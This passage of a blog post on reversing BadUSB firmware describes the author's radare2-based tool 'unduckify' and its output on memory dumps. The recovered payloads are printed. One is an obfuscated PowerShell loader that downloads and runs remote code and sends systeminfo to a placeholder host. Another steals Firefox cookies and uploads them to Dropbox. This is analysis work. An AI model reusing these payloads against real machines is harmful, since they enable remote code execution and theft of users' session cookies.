<span id="cb37-4">        r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> r2pipe.<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">str</span>(binary_file))</span>
<span id="cb37-5">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Exception</span>:</span>
<span id="cb37-6">        exit()</span>
<span id="cb37-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span>:</span>
<span id="cb37-8">        logging.info(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"Binary loaded: </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">str</span>(binary_file)<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span>
<span id="cb37-9"></span>
<span id="cb37-10">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># analyze binary: get binary size and functions</span></span>
<span id="cb37-11">    r.cmdj(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"aaa"</span>)</span>
<span id="cb37-12">    binary_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> r.cmdj(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ij"</span>).get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"core"</span>, {}).get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"size"</span>)</span>
<span id="cb37-13">    functions <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> r.cmdj(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"aflj"</span>)</span></code></pre></div></div>
<p>We need the binary_size to iterate over the memory dump byte by byte.</p>
<p>If radare2 has detected a function at a certain location, we can ignore that section of the memory as it doesn’t contain the data we are looking for.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb38" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb38-1">...</span>
<span id="cb38-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> i <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">range</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>, binary_size, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>):</span>
<span id="cb38-3">    ...</span>
<span id="cb38-4">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># ignore memory that is part of a function</span></span>
<span id="cb38-5">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> f <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> functions:</span>
<span id="cb38-6">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> f.get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"offset"</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> f.get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"offset"</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> f.get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"realsz"</span>):</span>
<span id="cb38-7">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">break</span></span>
<span id="cb38-8">    ...</span></code></pre></div></div>
<p>At this point, we already have the basic structure of the program. The only remaining task is reading the bytes from the binary. Using the following command, we can read (in json format) 4 bytes at the current offset in our iteration. We need two pairs of values to check if there is a combo key.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb39" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb39-1">ex <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> r.cmdj(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"pxj 4 @ </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>i<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span></code></pre></div></div>
<p>The final part of the script uses the same functions explained before to reverse the bytes (<code>reverse_combo</code>, <code>reverse_combo_key</code>, and <code>reverse_key</code>).</p>
<p>As we iterate over a large binary without knowing its contents, it’s normal to encounter a lot of irrelevant or junk bytes. If any error occur, we simply ignore the byte and continue.</p>
</section>
<section id="packaging-and-time-of-truth" class="level3">
<h3 class="anchored" data-anchor-id="packaging-and-time-of-truth">Packaging and time of truth</h3>
<p>The script has grown considerably, and I decided to build it into a package.</p>
<p>It’s called <strong>unduckify</strong> and the source code can be found <a href="https://github.com/0xlibris/unduckify">here</a></p>
<p>Usage:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb40" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb40-1">$ unduckify --help</span>
<span id="cb40-2">usage: unduckify [-h] (-f FILE | -t TEST) [-l {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}]</span>
<span id="cb40-3">                 [-s {win,mac}] [-v]</span>
<span id="cb40-4"></span>
<span id="cb40-5">options:</span>
<span id="cb40-6">  -h, --help            show this help message and exit</span>
<span id="cb40-7">  -f FILE, --file FILE</span>
<span id="cb40-8">  -t TEST, --test TEST  Provide a value list to test. Example: "0,6, 0,16, 0,7, 0,44, 2,36, 0,14"</span>
<span id="cb40-9">  -l {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}, --layout {si,es-la,be,ie,ca-cms,gb,no,sk,ch-fr,bg,is,lt,cz,ca-fr,pt-br,ua,ro,tr,nl,hu,us,ru,ch-de,se,es,it,fi,fr,in,lv,ee,de,pl,dk,gr,hr,pt}</span>
<span id="cb40-10">  -s {win,mac}, --system {win,mac}</span>
<span id="cb40-11">  -v, --verbose</span></code></pre></div></div>
<p>Example using test values:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb41" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb41-1">$ unduckify -t "0,6, 0,16, 0,7, 0,44, 2,36, 0,14" -l es -s win -v</span>
<span id="cb41-2">DEBUG: args.file=None</span>
<span id="cb41-3">DEBUG: args.test='0,6, 0,16, 0,7, 0,44, 2,36, 0,14'</span>
<span id="cb41-4">DEBUG: args.layout='es'</span>
<span id="cb41-5">DEBUG: args.system='win'</span>
<span id="cb41-6">DEBUG: args.verbose=True</span>
<span id="cb41-7">INFO: Values to test: [0, 6, 0, 16, 0, 7, 0, 44, 2, 36, 0, 14]</span>
<span id="cb41-8">DEBUG: key found!</span>
<span id="cb41-9">DEBUG: (0,6) us='c', char='c', key_mod_values=[], key_values=['c'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-10">DEBUG: key found!</span>
<span id="cb41-11">DEBUG: (0,16) us='m', char='m', key_mod_values=[], key_values=['m'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-12">DEBUG: key found!</span>
<span id="cb41-13">DEBUG: (0,7) us='d', char='d', key_mod_values=[], key_values=['d'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-14">DEBUG: space found!</span>
<span id="cb41-15">DEBUG: (0,44) us=' ', char=' ', key_mod_values=[], key_values=[' ', 'Space'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-16">DEBUG: key found!</span>
<span id="cb41-17">DEBUG: (2,36) us='7', char='/', key_mod_values=['SHIFT', 'LSHIFT'], key_values=['7'], alt=False, altGr=False, shift=True, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-18">DEBUG: key found!</span>
<span id="cb41-19">DEBUG: (0,14) us='k', char='k', key_mod_values=[], key_values=['k'], alt=False, altGr=False, shift=False, combo='', comboAlt=False, comboAltGr=False, comboShift=False</span>
<span id="cb41-20">INFO: cmd /k</span></code></pre></div></div>
<p>Example using a memory dump:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb42" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb42-1">$ unduckify -f dump.bin -l us -s win</span>
<span id="cb42-2">INFO: Binary loaded: /.../dump.bin</span>
<span id="cb42-3">INFO: Analyze all flags starting with sym. and entry0 (aa)</span>
<span id="cb42-4">INFO: Analyze imports (af@@@i)</span>
<span id="cb42-5">INFO: Analyze entrypoint (af@ entry0)</span>
<span id="cb42-6">INFO: Analyze symbols (af@@@s)</span>
<span id="cb42-7">INFO: Recovering variables</span>
<span id="cb42-8">INFO: Analyze all functions arguments/locals (afva@@@F)</span>
<span id="cb42-9">INFO: Analyze function calls (aac)</span>
<span id="cb42-10">INFO: find and analyze function preludes (aap)</span>
<span id="cb42-11">INFO: Analyze len bytes of instructions for references (aar)</span>
<span id="cb42-12">INFO: Finding and parsing C++ vtables (avrr)</span>
<span id="cb42-13">INFO: Analyzing methods</span>
<span id="cb42-14">INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)</span>
<span id="cb42-15">WARN: Skipping aav because base address is zero. Use -B 0x800000 or aav0</span>
<span id="cb42-16">INFO: Emulate functions to find computed references (aaef)</span>
<span id="cb42-17">INFO: Recovering local variables (afva)</span>
<span id="cb42-18">INFO: Type matching analysis for all functions (aaft)</span>
<span id="cb42-19">INFO: Propagate noreturn information (aanr)</span>
<span id="cb42-20">INFO: Use -AA or aaaa to perform additional experimental analysis</span>
<span id="cb42-21">INFO: binary_size=4522</span>
<span id="cb42-22">INFO: len(functions)=14</span>
<span id="cb42-23">INFO: extracted data:</span>
<span id="cb42-24"> 04^]fHnPvXBfb8833=aF%Ff5dEgme3.$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))powershell -ver 5 -nol -nop -ep bypassexitpowershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"cmd /k/Ame7Dj&lt;dn [zz{[[0zz22eL@fl22le0eL@ |]mnt[m][)6| 3vmn 6ftc2lemn3f]}}n]}]]}}f[[[y e@s!b2lL@Hf2leFnL@\xh2leLLN]6LLzzzz[ll2uzz[[)E000HFDB@#CE[U{{0n 0 CE0 U0 0"vnP,N2l[u5n3mx0]''eW@UET))ynNmTT.76 OQ{m</span></code></pre></div></div>
<p>The extracted data contains a lot of garbage, but hidden within it is my payload! The payload is exactly the same but appears as a continuous string. Looking at this output makes it relatively easy to deduce what the badUSB is doing.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/output_unduckify.jpg" title="output of unduckify" class="img-fluid"></p>
<p>If we separate the lines, the payload becomes much clearer:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb43" style="background: #f1f3f5;"><pre class="sourceCode powershell code-with-copy"><code class="sourceCode powershell"><span id="cb43-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iwr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>me o <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>useR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)-</span>uR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'{3}{1}{4}{0}{2}'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>f<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'dom'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tps://'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ain/'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ht'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'my.'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">select</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">H</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*;</span></span>
<span id="cb43-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'x-'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+[</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">99</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'tf'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb43-3"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=([</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">91</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">170</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">97</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">228</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">201</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">185</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">63</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">130</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">37</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">108</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">248</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">51</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">126</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">230</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">143</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">216</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb43-4"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">iex</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)).</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)|</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ForEach-Object</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$k</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])})))</span></span>
<span id="cb43-5">powershell <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ver <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>nol <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>nop <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ep bypass</span>
<span id="cb43-6"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">exit</span></span>
<span id="cb43-7">powershell <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>nol <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>nop <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ep bypass <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>c <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Invoke-WebRequest -UserAgent '' -Uri http://my.domain/</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">$([</span>Convert<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>ToBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">([</span>Text<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetBytes</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">($(</span>systeminfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">)) | out-null"</span></span>
<span id="cb43-8">cmd <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>k</span></code></pre></div></div>
<p>But since I already knew what was there, could we test it with another payload? Sure, let’s try it!</p>
</section>
<section id="reverse-other-random-payloads-from-the-internet" class="level3">
<h3 class="anchored" data-anchor-id="reverse-other-random-payloads-from-the-internet">Reverse other random payloads from the Internet</h3>
<p>There are a lot of resources with sample payloads, examples, or pranks for the Digispark BadUSB or the Rubber Ducky available on the internet. The majority of these payloads are in DuckyScript format. Some example repositories include:</p>
<ul>
<li><a href="https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads">hak5 usbrubberducky-payloads</a></li>
<li><a href="https://github.com/CedArctic/DigiSpark-Scripts">DigiSpark-Scripts</a></li>
<li><a href="https://github.com/I-Am-Jakoby/Flipper-Zero-BadUSB/tree/main/Payloads">Flipper-Zero-BadUSB</a></li>
</ul>
<p>I found a random payload and flashed it into the Digispark, but I don’t remember where I got it from. Let’s see if I can recover the payload using my <code>unduckify</code> tool:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb44" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb44-1">$ unduckify -l us -s win -f ../dumps/digispark.bin </span>
<span id="cb44-2">INFO: Binary loaded: /.../dumps/digispark.bin</span>
<span id="cb44-3">INFO: Analyze all flags starting with sym. and entry0 (aa)</span>
<span id="cb44-4">INFO: Analyze imports (af@@@i)</span>
<span id="cb44-5">INFO: Analyze entrypoint (af@ entry0)</span>
<span id="cb44-6">INFO: Analyze symbols (af@@@s)</span>
<span id="cb44-7">INFO: Recovering variables</span>
<span id="cb44-8">INFO: Analyze all functions arguments/locals (afva@@@F)</span>
<span id="cb44-9">INFO: Analyze function calls (aac)</span>
<span id="cb44-10">INFO: find and analyze function preludes (aap)</span>
<span id="cb44-11">INFO: Analyze len bytes of instructions for references (aar)</span>
<span id="cb44-12">INFO: Finding and parsing C++ vtables (avrr)</span>
<span id="cb44-13">INFO: Analyzing methods</span>
<span id="cb44-14">INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)</span>
<span id="cb44-15">WARN: Skipping aav because base address is zero. Use -B 0x800000 or aav0</span>
<span id="cb44-16">INFO: Emulate functions to find computed references (aaef)</span>
<span id="cb44-17">INFO: Recovering local variables (afva)</span>
<span id="cb44-18">INFO: Type matching analysis for all functions (aaft)</span>
<span id="cb44-19">INFO: Propagate noreturn information (aanr)</span>
<span id="cb44-20">INFO: Use -AA or aaaa to perform additional experimental analysis</span>
<span id="cb44-21">INFO: binary_size=4430</span>
<span id="cb44-22">INFO: len(functions)=12</span>
<span id="cb44-23">INFO: extracted data:</span>
<span id="cb44-24"> 04^]fHnPvXBfb8833=aF%Ff5dEgme3.Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit;$headers.Add("Content-Type", "application/octet-stream")$headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}')$headers.Add("Authorization", "Bearer $accessToken")$headers = @{}$dropboxFilePath = "/cookies_exported.sqlite"$uploadUrl = "https://content.dropboxapi.com/2/files/upload"    $accessToken = "DROPBOX_ACCESS_TOKEN"$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like "*default-release"}$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'powershell/AmnDj&lt;dn L@fl22le0eL@ |]mnt[m][)6| 3vmn 6ftc2lemn3f]}}n]}]]}}f[[[y e@s!b2lL@Hf2leFnL@\xh2leLLN]6LLzzzz[ll2uzz[[)E000HFDB@#CE[U{{0n 0 CE0 U0 0"vnP,N2l[u5n3mx0]''eW@UET))ynNmTT.OQ{mB</span></code></pre></div></div>
<p>Let’s analyze the extracted data after cleaning it up:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb45" style="background: #f1f3f5;"><pre class="sourceCode powershell code-with-copy"><code class="sourceCode powershell"><span id="cb45-1">powershell</span>
<span id="cb45-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$firefoxProfilePath</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Join-Path</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Path <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$env</span><span class="op" style="color: #5E5E5E;
background-color: null;
